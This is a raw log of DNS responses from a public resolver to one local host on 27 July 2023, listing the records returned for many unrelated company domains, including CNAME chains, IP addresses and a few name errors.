Jul 27, 2023 21:53:02.226217985 CEST	8.8.8.8	192.168.2.4	0x4776	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.226217985 CEST	8.8.8.8	192.168.2.4	0x4776	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.235450029 CEST	8.8.8.8	192.168.2.4	0x2db1	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:02.235450029 CEST	8.8.8.8	192.168.2.4	0x2db1	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.235450029 CEST	8.8.8.8	192.168.2.4	0x2db1	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.240159988 CEST	8.8.8.8	192.168.2.4	0xd12f	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.240159988 CEST	8.8.8.8	192.168.2.4	0xd12f	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.327157974 CEST	8.8.8.8	192.168.2.4	0xa080	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.327179909 CEST	8.8.8.8	192.168.2.4	0x4f80	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:02.327179909 CEST	8.8.8.8	192.168.2.4	0x4f80	No error (0)	ghs.googlehosted.com		172.217.16.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.334413052 CEST	8.8.8.8	192.168.2.4	0xa385	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:02.334413052 CEST	8.8.8.8	192.168.2.4	0xa385	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.334413052 CEST	8.8.8.8	192.168.2.4	0xa385	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.337555885 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.337555885 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.337944031 CEST	8.8.8.8	192.168.2.4	0x5ec9	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.795556068 CEST	8.8.8.8	192.168.2.4	0xdef	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.018356085 CEST	8.8.8.8	192.168.2.4	0xf52c	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.018356085 CEST	8.8.8.8	192.168.2.4	0xf52c	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.035562992 CEST	8.8.8.8	192.168.2.4	0x52bd	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.035562992 CEST	8.8.8.8	192.168.2.4	0x52bd	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.035562992 CEST	8.8.8.8	192.168.2.4	0x52bd	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.161655903 CEST	8.8.8.8	192.168.2.4	0xb115	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.161655903 CEST	8.8.8.8	192.168.2.4	0xb115	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.166275978 CEST	8.8.8.8	192.168.2.4	0x4981	No error (0)	www.petsfan.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.166275978 CEST	8.8.8.8	192.168.2.4	0x4981	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.166275978 CEST	8.8.8.8	192.168.2.4	0x4981	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.166275978 CEST	8.8.8.8	192.168.2.4	0x4981	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.166837931 CEST	8.8.8.8	192.168.2.4	0xfdea	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.168418884 CEST	8.8.8.8	192.168.2.4	0x95d5	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.188240051 CEST	8.8.8.8	192.168.2.4	0x4cd1	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.188240051 CEST	8.8.8.8	192.168.2.4	0x4cd1	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.188240051 CEST	8.8.8.8	192.168.2.4	0x4cd1	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.246094942 CEST	8.8.8.8	192.168.2.4	0xdfcf	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.359949112 CEST	8.8.8.8	192.168.2.4	0xbcc6	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.359949112 CEST	8.8.8.8	192.168.2.4	0xbcc6	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.359949112 CEST	8.8.8.8	192.168.2.4	0xbcc6	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.359949112 CEST	8.8.8.8	192.168.2.4	0xbcc6	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.359949112 CEST	8.8.8.8	192.168.2.4	0xbcc6	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.759057999 CEST	8.8.8.8	192.168.2.4	0xe912	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.759057999 CEST	8.8.8.8	192.168.2.4	0xe912	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.766542912 CEST	8.8.8.8	192.168.2.4	0xc55a	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:03.766542912 CEST	8.8.8.8	192.168.2.4	0xc55a	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.828778028 CEST	8.8.8.8	192.168.2.4	0x7a2d	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.859848022 CEST	8.8.8.8	192.168.2.4	0xd1f9	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.859848022 CEST	8.8.8.8	192.168.2.4	0xd1f9	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.083405972 CEST	8.8.8.8	192.168.2.4	0xf3b1	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.083904028 CEST	8.8.8.8	192.168.2.4	0x704b	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:04.083904028 CEST	8.8.8.8	192.168.2.4	0x704b	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.167136908 CEST	8.8.8.8	192.168.2.4	0x8a2d	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.172949076 CEST	8.8.8.8	192.168.2.4	0x2161	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.230710983 CEST	8.8.8.8	192.168.2.4	0xc992	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.230710983 CEST	8.8.8.8	192.168.2.4	0xc992	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.230710983 CEST	8.8.8.8	192.168.2.4	0xc992	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.453861952 CEST	8.8.8.8	192.168.2.4	0x5366	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.480060101 CEST	8.8.8.8	192.168.2.4	0x1dfe	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:04.480060101 CEST	8.8.8.8	192.168.2.4	0x1dfe	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.488696098 CEST	8.8.8.8	192.168.2.4	0x643c	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:04.488696098 CEST	8.8.8.8	192.168.2.4	0x643c	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.488732100 CEST	8.8.8.8	192.168.2.4	0x680f	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.488732100 CEST	8.8.8.8	192.168.2.4	0x680f	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.504144907 CEST	8.8.8.8	192.168.2.4	0x457c	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.034826994 CEST	8.8.8.8	192.168.2.4	0x6126	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.266149998 CEST	8.8.8.8	192.168.2.4	0xb8b8	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.506130934 CEST	8.8.8.8	192.168.2.4	0xe7b4	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.744483948 CEST	8.8.8.8	192.168.2.4	0x50f5	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.744483948 CEST	8.8.8.8	192.168.2.4	0x50f5	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.754746914 CEST	8.8.8.8	192.168.2.4	0xb91a	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.754746914 CEST	8.8.8.8	192.168.2.4	0xb91a	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.756277084 CEST	8.8.8.8	192.168.2.4	0xd3eb	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.756277084 CEST	8.8.8.8	192.168.2.4	0xd3eb	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.756277084 CEST	8.8.8.8	192.168.2.4	0xd3eb	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.759533882 CEST	8.8.8.8	192.168.2.4	0x364d	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.762356997 CEST	8.8.8.8	192.168.2.4	0xc82b	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.767241001 CEST	8.8.8.8	192.168.2.4	0xe5aa	No error (0)	www.cokocoko.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.767241001 CEST	8.8.8.8	192.168.2.4	0xe5aa	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.767241001 CEST	8.8.8.8	192.168.2.4	0xe5aa	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.767241001 CEST	8.8.8.8	192.168.2.4	0xe5aa	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.769043922 CEST	8.8.8.8	192.168.2.4	0x69c4	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:05.769043922 CEST	8.8.8.8	192.168.2.4	0x69c4	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.930036068 CEST	8.8.8.8	192.168.2.4	0xc600	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.177808046 CEST	8.8.8.8	192.168.2.4	0x12d1	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.180221081 CEST	8.8.8.8	192.168.2.4	0x3db8	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.180221081 CEST	8.8.8.8	192.168.2.4	0x3db8	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.214996099 CEST	8.8.8.8	192.168.2.4	0xc6a5	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.214996099 CEST	8.8.8.8	192.168.2.4	0xc6a5	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.551119089 CEST	8.8.8.8	192.168.2.4	0x81c8	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.553297997 CEST	8.8.8.8	192.168.2.4	0xceae	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.553297997 CEST	8.8.8.8	192.168.2.4	0xceae	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.054897070 CEST	8.8.8.8	192.168.2.4	0x440b	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:07.054897070 CEST	8.8.8.8	192.168.2.4	0x440b	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.471276999 CEST	8.8.8.8	192.168.2.4	0xc16f	No error (0)	www.snugpak.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:07.471276999 CEST	8.8.8.8	192.168.2.4	0xc16f	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.477924109 CEST	8.8.8.8	192.168.2.4	0xa923	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.658569098 CEST	8.8.8.8	192.168.2.4	0xce76	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.754276037 CEST	8.8.8.8	192.168.2.4	0xc1f9	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.776590109 CEST	8.8.8.8	192.168.2.4	0x7a8	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.076926947 CEST	8.8.8.8	192.168.2.4	0x5575	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.547549963 CEST	8.8.8.8	192.168.2.4	0x1740	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.554392099 CEST	8.8.8.8	192.168.2.4	0xbc60	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.554392099 CEST	8.8.8.8	192.168.2.4	0xbc60	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.742634058 CEST	8.8.8.8	192.168.2.4	0x6d60	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.799386978 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.799386978 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.799386978 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.224.178.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.799386978 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		54.165.108.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.864012957 CEST	8.8.8.8	192.168.2.4	0xb9be	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.864012957 CEST	8.8.8.8	192.168.2.4	0xb9be	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.864012957 CEST	8.8.8.8	192.168.2.4	0xb9be	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.864012957 CEST	8.8.8.8	192.168.2.4	0xb9be	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.864012957 CEST	8.8.8.8	192.168.2.4	0xb9be	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.910533905 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.910533905 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:08.910533905 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.224.178.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.910533905 CEST	8.8.8.8	192.168.2.4	0x71f	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		54.165.108.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.934459925 CEST	8.8.8.8	192.168.2.4	0x39de	No error (0)	www.koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.959433079 CEST	8.8.8.8	192.168.2.4	0xc1a9	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:09.078816891 CEST	8.8.8.8	192.168.2.4	0x5575	Server failure (2)	www.speelhal.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:09.719814062 CEST	8.8.8.8	192.168.2.4	0xe1c9	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:09.737250090 CEST	8.8.8.8	192.168.2.4	0xd598	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:09.737250090 CEST	8.8.8.8	192.168.2.4	0xd598	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:09.737250090 CEST	8.8.8.8	192.168.2.4	0xd598	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:10.043215036 CEST	8.8.8.8	192.168.2.4	0xe823	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:10.043215036 CEST	8.8.8.8	192.168.2.4	0xe823	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:10.311106920 CEST	8.8.8.8	192.168.2.4	0x1fbb	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:10.438100100 CEST	8.8.8.8	192.168.2.4	0x1fbb	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:11.041295052 CEST	8.8.8.8	192.168.2.4	0x61f1	No error (0)	www.netcr.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:11.041295052 CEST	8.8.8.8	192.168.2.4	0x61f1	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:11.041295052 CEST	8.8.8.8	192.168.2.4	0x61f1	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:11.041295052 CEST	8.8.8.8	192.168.2.4	0x61f1	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:11.347085953 CEST	8.8.8.8	192.168.2.4	0x1fbb	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.096014023 CEST	8.8.8.8	192.168.2.4	0xd0bb	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.120044947 CEST	8.8.8.8	192.168.2.4	0xa83f	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:12.120044947 CEST	8.8.8.8	192.168.2.4	0xa83f	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.440499067 CEST	8.8.8.8	192.168.2.4	0xc1d9	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.91	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.842329979 CEST	8.8.8.8	192.168.2.4	0xa2e7	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.118	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:13.050014019 CEST	8.8.8.8	192.168.2.4	0x7c84	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:13.442272902 CEST	8.8.8.8	192.168.2.4	0xba87	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:14.152776003 CEST	8.8.8.8	192.168.2.4	0x1d76	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:14.152776003 CEST	8.8.8.8	192.168.2.4	0x1d76	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:14.934427023 CEST	8.8.8.8	192.168.2.4	0x8dff	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.232841969 CEST	8.8.8.8	192.168.2.4	0xd36a	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:16.232841969 CEST	8.8.8.8	192.168.2.4	0xd36a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.19	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.232841969 CEST	8.8.8.8	192.168.2.4	0xd36a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.232841969 CEST	8.8.8.8	192.168.2.4	0xd36a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.232841969 CEST	8.8.8.8	192.168.2.4	0xd36a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.975410938 CEST	8.8.8.8	192.168.2.4	0x4b74	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:17.404920101 CEST	8.8.8.8	192.168.2.4	0x4449	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:17.404920101 CEST	8.8.8.8	192.168.2.4	0x4449	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:17.826617002 CEST	8.8.8.8	192.168.2.4	0xfa8d	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:18.148349047 CEST	8.8.8.8	192.168.2.4	0xedf5	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:18.148349047 CEST	8.8.8.8	192.168.2.4	0xedf5	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:18.148349047 CEST	8.8.8.8	192.168.2.4	0xedf5	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.087131977 CEST	8.8.8.8	192.168.2.4	0xbc35	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:19.087131977 CEST	8.8.8.8	192.168.2.4	0xbc35	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
